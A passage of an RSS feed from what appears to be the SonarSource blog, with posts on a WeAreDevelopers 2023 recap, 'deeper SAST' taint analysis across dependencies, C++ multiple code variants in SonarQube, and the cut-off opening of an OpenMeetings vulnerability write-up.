href=&quot;https://www.sonarsource.com/products/sonarcloud/features/auto-analysis-for-c-and-cpp/&quot;&gt;this page&lt;/a&gt; or check out &lt;a href=&quot;https://www.youtube.com/watch?v=_EhqQAMscTQ&quot;&gt;this video&lt;/a&gt; to learn more about one-click analysis of your C++ project in SonarCloud, and how to get started today!&lt;/p&gt;&lt;h3&gt;References&lt;/h3&gt;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt; &lt;a href=&quot;https://www.jetbrains.com/lp/devecosystem-2022/cpp/#which-of-the-following-tools-do-you-or-your-team-use-for-guideline-enforcement-or-other-code-quality-analysis-select-all-that-apply-&quot;&gt;https://www.jetbrains.com/lp/devecosystem-2022/cpp/#which-of-the-following-tools-do-you-or-your-team-use-for-guideline-enforcement-or-other-code-quality-analysis-select-all-that-apply-&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;sup&gt;2 &lt;/sup&gt;&lt;a href=&quot;https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html&quot;&gt;https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;sup&gt;3 &lt;/sup&gt;&lt;a href=&quot;https://www.jetbrains.com/lp/devecosystem-2022/cpp/&quot;&gt;https://www.jetbrains.com/lp/devecosystem-2022/cpp/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;sup&gt;4&lt;/sup&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_compilers#C++_compilers&quot;&gt;https://en.wikipedia.org/wiki/List_of_compilers#C++_compilers&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;sup&gt;5&lt;/sup&gt; &lt;a href=&quot;https://isocpp.org/files/papers/CppDevSurvey-2022-summary.pdf&quot;&gt;https://isocpp.org/files/papers/CppDevSurvey-2022-summary.pdf&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;sup&gt;6&lt;/sup&gt; C is also supported&lt;/p&gt;</content:encoded></item><item><title><![CDATA[WeAreDevelopers 2023 - what did you miss?]]></title><description><![CDATA[The Sonar team of developers are just returning from their trip to Berlin where they attended WeAreDevelopers 2023.  If you were not able to make it, here is what you missed.]]></description><link>https://www.sonarsource.com/blog/wearedevelopers-2023-what-did-you-miss</link><guid isPermaLink="false">30a99bea-4c47-52bf-b589-888cc1f206aa</guid><dc:creator><![CDATA[Andrew Osborne]]></dc:creator><pubDate>Thu, 10 Aug 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Missed out on the &lt;a href=&quot;https://www.wearedevelopers.com/world-congress&quot;&gt;WeAreDevelopers 2023&lt;/a&gt; event in Berlin? Allow us to bring you up to speed with a recap of the most intriguing themes that captured our focus.&lt;/p&gt;&lt;h2&gt;AI&lt;/h2&gt;&lt;p&gt;Unsurprisingly, the subject of AI was on many people’s minds.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sir Tim Berners-Lee referenced AI in his wide-ranging talk. Referencing his Solid project, he pressed home the idea that we should also consider personal security when we submit requests to tools such as Chat GPT. His MIT-backed Solid project aims to radically change how web applications work today, promising true data ownership and improved privacy.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Stack Overflow launched &lt;a href=&quot;https://stackoverflow.blog/2023/07/27/announcing-overflowai/&quot;&gt;OverflowAI&lt;/a&gt;, describing it as the future of community &amp;amp; AI. Essentially a roadmap for the integration of generative AI into their public platform, Stack Overflow for Teams, plus an IDE extension for Visual Studio Code. It will be interesting to see how this move impacts the Stack Overflow platform given the recent turmoil regarding AI-generated content. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At the Sonar booth, numerous developers questioned how AI might impact the landscape for static analysis tools. &lt;a href=&quot;https://www.youtube.com/watch?v=9_1QZcisUFw&amp;t=125s&quot;&gt;In his keynote&lt;/a&gt;, Olivier Gaudin explained that generative AI expands access to code development, thereby increasing the volume of code produced. This, in turn, creates a higher demand for solutions that can ensure the cleanliness of this code. Olivier also highlighted the misconception that all generative AI-produced code is of high quality and identified the challenge of inexperienced developers placing unwarranted trust in gen AI code. This underscores the importance of adopting a Clean as You Code methodology to ensure all new code is Clean Code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/53324a5d-653a-4988-8337-ba0024a0158c/Olivier%20WAD%202023.jpg&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Clean Code&lt;/h2&gt;&lt;p&gt;The understanding that Clean Code is fundamental for both developers and successful solutions continues to grow. This was in evidence at many of the booths at WeAreDevelopers. Defined as code that is consistent, intentional, adaptable, and responsible, Clean Code and the tools to achieve it are visibly entering the mainstream as a base building block. With Sonar defining the standard and the methodology to achieve Clean Code it was humbling to hear from so many developers who have already embraced the &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code&lt;/a&gt; approach.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And because the journey of Clean Code starts in the developer&amp;#x27;s code editor, our Vulnerability Researchers Thomas Chauchefoin and Paul Gerste presented the result of their work on the security of Visual Studio Code, arguably the most popular IDE, with an estimated 75% market share. Among the vulnerabilities demonstrated live on stage, they came back on &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-argument-injection-in-vscode/&quot;&gt;Securing Developer Tools: Argument Injection in Visual Studio Code&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/&quot;&gt;Securing Developer Tools: Git Integrations&lt;/a&gt;. They noted that the deep integration of this editor into every ecosystem to offer the best developer experience possible makes it very susceptible to security vulnerabilities. They recommended users to think twice before opening code from untrusted sources in this editor.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;TypeScript&lt;/h2&gt;&lt;p&gt;TypeScript was also a talking point circulating during the event. We enjoyed &lt;a href=&quot;https://www.linkedin.com/posts/stefan-baumgartner-bb621564_so-this-happened-on-friday-i-had-the-activity-7091787245749202945-RQKv?utm_source=share&amp;utm_medium=member_desktop&quot;&gt;Stefan Baumgartner&amp;#x27;s talk&lt;/a&gt; on the main stage on &lt;em&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=N8q5QaJ8d6o&quot;&gt;Lies we tell ourselves as developers&lt;/a&gt; &lt;/em&gt;which was a look into how you can write seemingly correct TypeScript, yet be very wrong at the same time. The growth of TypeScript continues unabated; when Stefan took to the main stage and asked who was using TypeScript, most of the 2500-sized crowd raised their hands.  Our own &lt;a href=&quot;https://philna.sh/&quot;&gt;Phil Nash&lt;/a&gt; also delivered a talk outlining &lt;a href=&quot;https://philnash.github.io/talks/four-steps-from-javascript-to-typescript/&quot;&gt;the 4 steps from JavaScript to TypeScript&lt;/a&gt; where he provided a blueprint for a project transition, outlining the many benefits of each step.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e294f912-2e40-4392-b820-cc5b64b4546d/Phil%20Nash%20WAD%202023%20A.jpg&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Thank you!&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And finally, we want to emphasize our appreciation to &lt;strong&gt;all&lt;/strong&gt; the developers who stopped by for a chat and an ice cream, including the renowned &lt;a href=&quot;https://en.wikipedia.org/wiki/John_Romero&quot;&gt;John Romero&lt;/a&gt; of Doom and Quake fame. We truly value the thousands of interactions WeAreDevelopers provided. You can find a list of all the events we will be visiting &lt;a href=&quot;https://www.sonarsource.com/resources/events/&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Uncovering hidden security vulnerabilities with deeper SAST]]></title><description><![CDATA[Uncovering security vulnerabilities is particularly challenging because these issues can be complex and deeply hidden when your code uses and interacts with third-party dependency code. We are excited to share more about a major breakthrough in our detection of deeply hidden security vulnerabilities that traditional tools cannot detect. ]]></description><link>https://www.sonarsource.com/blog/deeper-sast-uncovers-hidden-security-vulnerabilities</link><guid isPermaLink="false">580219be-5783-507b-a5ef-d89a141adcb5</guid><dc:creator><![CDATA[Johannes Dahse]]></dc:creator><pubDate>Wed, 09 Aug 2023 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At Sonar we are committed to helping you achieve a state of Clean Code. This means that your code becomes secure, reliable, accessible, and maintainable so that it is fit for development and production. Our Clean Code solution detects all kinds of issues as you code and our teams continuously research new innovations to provide the most comprehensive code analysis. For this, a deep understanding of all of your code is key.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Uncovering security vulnerabilities is particularly challenging because these issues can be complex and deeply hidden when your code uses and interacts with third-party dependency code. In this blog post, we are excited to share more about a major breakthrough in our detection of deeply hidden security vulnerabilities that traditional tools cannot detect. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s have a look at these vulnerabilities, how we detect them, and how you can start using our deeper SAST today to clean your code!&lt;/p&gt;&lt;h2&gt;The Problem of Hidden Vulnerabilities&lt;/h2&gt;&lt;p&gt;Despite being known for decades, &lt;em&gt;taint vulnerabilities&lt;/em&gt; (or &lt;em&gt;injection flaws&lt;/em&gt;) remain a top security risk for applications. Popular types include &lt;a href=&quot;https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-3649/&quot;&gt;SQL Injection&lt;/a&gt;, &lt;a href=&quot;https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-5135/&quot;&gt;Deserialization&lt;/a&gt;, or &lt;a href=&quot;https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2076/&quot;&gt;Command Injection&lt;/a&gt; vulnerabilities whose exploitation can have dramatic consequences: Attackers can leak sensitive data, execute malicious code, or take over control of a software’s server. Even a single one of these issues ending up in your production code can put your business severely at risk.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But why do these critical code vulnerabilities still occur? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the main reasons is that these vulnerabilities can be very obscure to developers and are hard to spot. Typically, taint vulnerabilities do not manifest in only one code line but arise out of the interaction of multiple code sequences that are located in different code files and functions. Each code sequence itself can be harmless while the combination leads to a security issue. The more code from different locations is involved, the harder it becomes to comprehend its interactions, effects, and ultimately its security implications.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/104b9813-2c71-46eb-973f-c4b8c1590233/deeper_sast_blog_supporting_img_3.webp&quot; /&gt;&lt;p&gt;Things are getting even more complicated when third-party code is used. Nearly all software use - &lt;em&gt;depend on&lt;/em&gt; - multiple open-source frameworks or libraries. This enables developers to reuse existing code and to focus on delivering new features fast. However, this comfort also bears its risks. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Whenever you leverage a &lt;em&gt;dependency &lt;/em&gt;in your project, like the Spring framework or Log4j library, your code is interacting with that dependency&amp;#x27;s code. And just by that interaction and unique combination with your code, a new security vulnerability can arise, as we have seen by the infamous Log4shell vulnerability. Manually reviewing your own codebase is already challenging enough. Additionally reviewing all the code of the features used from dependencies and their subsequent interactions with their own – also called &lt;em&gt;transitive&lt;/em&gt; – dependencies is impossible.&lt;/p&gt;&lt;h2&gt;Traditional Approaches&lt;/h2&gt;&lt;p&gt;Static application security testing (SAST) can help you automate a code review. With techniques like &lt;em&gt;taint analysis&lt;/em&gt;, the code interactions within your project are evaluated for security issues with varying coverage, accuracy, and speed. However, all traditional SAST tools scan &lt;strong&gt;only your project code&lt;/strong&gt;. These tools are unaware of the &lt;strong&gt;dependency code&lt;/strong&gt; and their security-relevant interactions, except maybe for a few manually added tool configurations. Such hard-coded knowledge is inherently incomplete: In reality, hundreds of thousands of different dependencies and interactions exist in each language’s ecosystem that cause blind spots for traditional SAST tools. Whenever your code interacts with a dependency, traditional SAST tools understand only a fraction of the code actually executed and, as a result, miss deeply hidden vulnerabilities.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f6401b49-fc81-479c-96d8-ab0b1a08dd90/deeper_sast_blog_supporting_img_2.webp&quot; /&gt;&lt;p&gt;Such hidden vulnerabilities are also not detected by Software Composition Analysis (SCA). SCA tools report issues &lt;strong&gt;in dependencies&lt;/strong&gt; based on a database of &lt;strong&gt;publicly&lt;/strong&gt; &lt;strong&gt;known&lt;/strong&gt; vulnerabilities. This database is the limit of what can be detected by SCA. Considering the billions of frequently updated code lines available in open-source dependencies, the amount of publicly documented issues found in a SCA database is extremely small. Moreover, just because a dependency feature can &lt;em&gt;potentially&lt;/em&gt; be used insecurely by an incautious interaction from your code, it does not mean that the dependency is vulnerable itself. It is up to you as the developer to interact with the dependency securely &lt;strong&gt;in your code&lt;/strong&gt;. A SCA database will not list a unique vulnerability that is caused in your code and, hence, it will be missed by SCA.  &lt;/p&gt;&lt;h2&gt;Sonar’s deeper SAST&lt;/h2&gt;&lt;p&gt;To address this critical gap in the market, we are proud to launch &lt;em&gt;deeper SAST&lt;/em&gt;. We managed to expand our precise taint analysis capabilities from project code deep down into transitive dependency code. This enables developers to identify deeply hidden taint vulnerabilities arising from the interaction between their code and its dependencies. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s have a look at two concrete examples of a deeper SAST issues. For simplicity of this blog post, we use vulnerabilities with only a few code sequences and interactions but keep in mind that these are significantly more complex in real-world code bases.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The code snippet below shows a Deserialization vulnerability. The code fetches data from the Session-Auth HTTP header [1] and then tries to invoke Java objects based on this data [6-8]. Since any HTTP header can be manipulated by an attacker, the Java objects can be malformed which enables an attacker to gain remote code execution. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f7477cb8-b55e-4f9f-ad3f-70edb8356a34/deeper%20SAST%20code%20snippet%201.png&quot; /&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;sinceLeakPeriod=true&amp;types=VULNERABILITY&amp;id=SonarSourceResearch_deeper-sast-demo&amp;open=AYmSdHbl53jen2PRqblt&quot;&gt;Open deeper SAST issues in SonarCloud&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For deeper SAST, the critical step happens in &lt;strong&gt;[3]&lt;/strong&gt;. The function &lt;em&gt;decodeBase64()&lt;/em&gt; from a library is used to process the data. If a SAST tool is not aware what this library function is doing in [3], it cannot make the connection between [1] and [8] and will miss this critical vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s have a look at another example code shown below. This time, the code snippet performs a database migration for a specific user. It retrieves a user-supplied username [1] that is used as part of the name of a database savepoint [7]. The savepoint is created by using a library&amp;#x27;s function with the innocent name &lt;em&gt;setSavepoint()&lt;/em&gt; &lt;strong&gt;[8]&lt;/strong&gt;. Little does a developer, nor a traditional SAST tool, know that this particular function is susceptible to SQL injection. An attacker can inject a malicious user name with SQL syntax into the savepoint in order to modify the database query. We even reported this to the library&amp;#x27;s maintainers who fixed the vulnerability and are tracking it as CVE-2023-22102.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e6cd7215-a79b-4f1b-8335-eed4c54aa625/deeper%20SAST%20code%20snippet%202.png&quot; /&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;sinceLeakPeriod=true&amp;types=VULNERABILITY&amp;pullRequest=1&amp;id=SonarSourceResearch_deeper-sast-demo&amp;open=AYmSdd-q0D-K28HdEUZ_&quot;&gt;Open deeper SAST issues in SonarCloud&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Today, deeper SAST is available for Java, C#, and JavaScript/TypeScript and already supports thousands of the topmost and commonly used open-source libraries, including their transitive dependencies. All different types of taint vulnerabilities that we &lt;a href=&quot;https://rules.sonarsource.com/&quot;&gt;support&lt;/a&gt; are enhanced by deeper SAST. Our SAST engine’s leading precision and performance stays the same when analyzing source code with dependencies and no additional steps are required from users to benefit from our deeper analysis. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So far, we observed that on average for every 10 regular vulnerabilities found in a code project, our deeper SAST detects one additional, deeply hidden vulnerability. We will expand our deeper SAST to detect even more hidden vulnerabilities by covering many more dependencies and languages, and by continuously improving our taint analysis.&lt;/p&gt;&lt;h2&gt;Behind the scenes of deeper SAST&lt;/h2&gt;&lt;p&gt;Let’s have a look at how Sonar deeper SAST works at a high level. Our innovative approach comprises two parts. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;First, internally at Sonar, we gather the source code of the most popular open-source dependencies. We then use sophisticated code analyzers to extract all code information from these dependencies relevant to our taint analysis. One of the key challenges is to scale this automatically to thousands of dependencies, their transitive dependencies, and different versions. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Relevant information includes, for example, knowledge about sources of user input, data flows, or security-sensitive operations. Note that we do not look for vulnerabilities in dependency code but for possible interactions that can make &lt;strong&gt;your&lt;/strong&gt; code vulnerable. The extracted valuable information is then stored in a knowledge base that can be further optimized. This knowledge base is continuously updated to stay ahead of important changes in the ecosystem.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d51f87b0-e326-4d8c-98d4-e177ae82a22a/deeper_sast_blog_supporting_img.webp&quot; /&gt;&lt;p&gt;Then, the knowledge base is integrated into our taint analysis that is shipped in our products. When your code is scanned, our taint analysis now has the unique ability to understand code interactions between your code and dependencies’ code by inferring missing knowledge from our comprehensive knowledge base. This way, dependency interactions can be understood and evaluated in your code’s context for security implications, leading to uncovering deeply hidden security issues.&lt;/p&gt;&lt;h2&gt;Try it out&lt;/h2&gt;&lt;p&gt;The best thing is: deeper SAST comes at no additional costs for our users. You can try it out using &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, our cloud-based offering that is free for open-source. When you are using &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; (self-managed), deeper SAST is available in the Developer Edition version 9.9 LTS or higher. Our Clean Code solution enables you to continuously inspect and analyze your codebase for over 5,000 rules using quality gates to determine if code meets the defined standards for production.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We have created a &lt;a href=&quot;https://github.com/Sonar-Demos/deeper-sast-demo&quot;&gt;demo repository&lt;/a&gt; that you can use to see deeper SAST in action. In this Java Spring application, various hidden vulnerabilities can be found when forking and scanning this project. You can find all instructions to get started in the links below.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Interested? &lt;a href=&quot;https://github.com/Sonar-Demos/deeper-sast-demo&quot;&gt;Try deeper SAST&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Working with Multiple Code Variants in C++]]></title><description><![CDATA[Multiple variants of C++ code-bases at build time are a necessary evil on most projects - even if that's just debug and release. This has always made analysis more complex. But now, with first class support in SonarQube, multiple code variants are easier to analyze and understand.]]></description><link>https://www.sonarsource.com/blog/working-with-multiple-code-variants-in-cpp</link><guid isPermaLink="false">254d573a-0369-5be9-923d-7a3ac8c2f697</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Wed, 02 Aug 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As a C or C++ developer, you probably build your source code in several different ways. At the very least most developers build so-called “debug” and “release” builds separately (or optimized and non-optimized builds). But perhaps you also build cross-platform, say for Windows, Linux and macOS? Or maybe you still support 32-bit architectures as well as 64-bit? If you work with embedded systems you may target many different processors. Or perhaps you just maintain a library that can be configured for different error-handling mechanisms (exceptions, error codes, etc)? There are plenty more possibilities - and of course all the permutations between them. Depending on the nature of your project you may or may not be in control of which permutations are in use. In any case, we call each possible build configuration a “code variant”.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Usually, most of the source code is common to all variants but the pre-processor is often used to conditionally compile specific portions in or out. So the post-processed source code differs, of course. But, being C++, even the meaning of the common parts may differ, too! In fact, the meaning can change even without the pre-processor. For example, the sizes of objects may vary between architectures or even just due to packing and alignment configuration. Any of these changes may affect the analysis results. For example, Sonar’s rule &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-1238/&quot;&gt;S1238&lt;/a&gt; cares about the size of objects passed as parameters.&lt;/p&gt;&lt;h2&gt;How was this supported before?&lt;/h2&gt;&lt;p&gt;Clearly all, or at least key, code variants should be analyzed. While this has long been recognized, until recently our support was more of a workaround than a first-class feature. Variants could be scanned independently - but the results were then independent, too. So if you marked an issue as “won’t fix”, for example, you would have to do that for each variant. There were a few ways to mitigate these issues, but none were very satisfying.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So we’ve now added first-class support for Multiple Code Variants and we’re pleased to say that this support is available starting from SonarQube 10.1.&lt;/p&gt;&lt;h2&gt;How does the new feature work?&lt;/h2&gt;&lt;p&gt;We will still do a full analysis for each variant. But this is now both easier and more expressive to set up - and, more importantly - the results are shown in an aggregated view that solves all the problems we had before! Let’s see this in action with an example.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Imagine you have a project that mostly works on Linux for 64-bit architectures, built using GCC. We have debug and release builds, so that’s two variants already. But it can also be built with clang and, additionally, a 32-bit version is published as part of the release package.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now the cross-product of all those configuration options gives us eight possible code variants. However, not all of them are interesting and we can probably focus on just four of them:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Main:&lt;/strong&gt; GCC, 64-bit, release&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Debug:&lt;/strong&gt; GCC, 64-bit, debug&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Clang:&lt;/strong&gt; clang, 64-bit, debug&lt;/li&gt;&lt;li&gt;&lt;strong&gt;32:&lt;/strong&gt; GCC, 32-bit, release&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The names, in bold, are how we are going to refer to the respective variants. The first thing we need to do is to let SonarQube know those names, which we do by defining the property: &lt;code&gt;sonar.cfamily.variants.names&lt;/code&gt; to have the value: &lt;code&gt;Main, Debug, Clang, 32&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;sonar.projectKey=xxxxxxxxxxxxxxxxxxx&lt;/code&gt;&lt;br/&gt;sonar.cfamily.variants.names=Main, Debug, Clang, 32&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Next, we need to provide the configuration for each variant. We do this the same way we would for a single variant: either using the build wrapper or by providing a &lt;a href=&quot;https://www.sonarsource.com/blog/alternative-way-to-configure-c-and-cpp-analysis/&quot;&gt;compilation database file&lt;/a&gt;. However, the configurations (build-wrapper-dump.json or compilationdb.json) should be placed in the directory named after the variant name (e.g. Main), itself under the directory specified by the &lt;code&gt;sonar.cfamily.variants.dir&lt;/code&gt; property. So, for example, if &lt;code&gt;sonar.cfamily.variants.dir&lt;/code&gt; has the value, &lt;code&gt;/Users/philnash/Dev/MyProject/bw-out&lt;/code&gt; then the first build configuration json files should be written to &lt;code&gt;/Users/philnash/Dev/MyProject/bw-out/Main/&lt;/code&gt; and so on.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;MyProject&lt;/code&gt;&lt;br/&gt; |- bw-out&lt;br/&gt; |   |- Main&lt;br/&gt; |   |- Debug&lt;br/&gt; |   |- Clang&lt;br/&gt; |   |- 32&lt;br/&gt; |- …&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It’s important to point out one limitation at the time of this writing. As usual, the build configuration json files must be generated on the machine where the analysis takes place. So if you are building for different platforms or architectures you will have to do some sort of cross-compilation for this to work. This may seem inconvenient, or even make it impossible, in some cases. But making this trade-off has allowed us to release this feature now. Supporting multiple machines is feasible for the future but will be a big task in itself. To help us understand the impact of this limitation please do&lt;a href=&quot;https://portal.productboard.com/sonarsource/3-sonarqube/c/444-analyze-multiple-code-variants-built-on-distinct-hosts&quot;&gt; let us know&lt;/a&gt; if this is an obstacle to you.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This also means that you will probably not be able to run those builds in parallel - e.g. using GitHub Actions’ matrix strategy - because this will typically happen on different (virtual) machines - or at least isolated environments. All the build configurations must be produced before the analysis step can run.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With those two things (the &lt;code&gt;…names&lt;/code&gt; property and placing the config files in corresponding subdirectories) we can now launch the analysis as usual - except it will now take longer because it is performing four analyses instead of just one.&lt;/p&gt;&lt;h2&gt;Now what?&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5229210e-7401-4c96-b045-e09c6142d7ed/image1.jpg&quot; /&gt;&lt;p&gt;Well, when first looking at the results of the analysis it may not appear much different to a normal (single variant) analysis. However, if you look closely, you’ll see a new field for each issue indicating how many variants are impacted. In our case, if the issue is variant-independent then we would expect to see “4 variants” displayed here. But if the number is less, then - bingo! - all that effort to set up multiple code variants has paid off - we just found a variant-specific issue.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can also filter issues in the sidebar to focus on a specific variant - for example, if you want to focus on the 32-bit variant.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f05f33f2-3b72-421d-9596-de347aeee227/image2.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Furthermore, if an issue is marked as “won’t fix”, for example, then that now applies to all variants with the issue.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Having multiple code variants is part of the rich tapestry of C++. It’s now easier to analyze those variants and make sure they are given the attention they deserve.&lt;/p&gt;&lt;h2&gt;FAQ&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;If I analyze multiple variants, does it impact the LOC of the project?&lt;/strong&gt;&lt;br/&gt;A file that is analyzed in several variants is only counted once. So the only impact you should see is if a file was previously skipped and is now taken into account in at least one of the variants.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Is multiple code variants compatible with caching?&lt;/strong&gt;&lt;br/&gt;Yes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Is multiple code variants supported in SonarCloud?&lt;/strong&gt;&lt;br/&gt;Not at the time of writing. This is under consideration. Please &lt;a href=&quot;https://portal.productboard.com/sonarsource/1-sonarcloud/c/445-analyze-multiple-code-variants-built-on-the-same-host&quot;&gt;let us know&lt;/a&gt; if this interests you.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Is multiple code variants compatible with code coverage?&lt;/strong&gt;&lt;br/&gt;You can have coverage information in an analysis with multiple code variants, but you can only submit one coverage report for the whole analysis. This means you must either pick the most meaningful variant to use for coverage information or do some work, yourself, to merge coverage reports before submitting them. If this causes issues, you’re not sure how to set it up, or you have other suggestions in this area please let us know in our &lt;a href=&quot;https://community.sonarsource.com&quot;&gt;community forums.&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[A Twist in the Code: OpenMeetings Vulnerabilities through Unexpected Application State]]></title><description><![CDATA[Unexpected application states are often overlooked and can introduce severe security vulnerabilities. Read more about this real-world example.]]></description><link>https://www.sonarsource.com/blog/a-twist-in-the-code-openmeetings-vulnerabilities-through-unexpected-application-state</link><guid isPermaLink="false">f4ca6859-1920-526c-8e51-f966e7e096d6</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Wed, 19 Jul 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;OpenMeetings is a web conferencing application that can be used for video calls, presentations, and collaborative work. Its official &lt;a href=&quot;https://hub.docker.com/r/apache/openmeetings&quot;&gt;docker image&lt;/a&gt; has been downloaded more than 50.000 times, and OpenMeetings can also be deployed as a plugin for applications such as Jira, Confluence, or Drupal. Its widespread adoption and the fact that it might be used for sensitive discussions, meetings, and collaborations make it an attractive target for attackers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, we will show you an interesting issue we discovered in Apache OpenMeetings, which is caused by an unexpected application state. Attackers can combine this issue with additional code vulnerabilities we found to 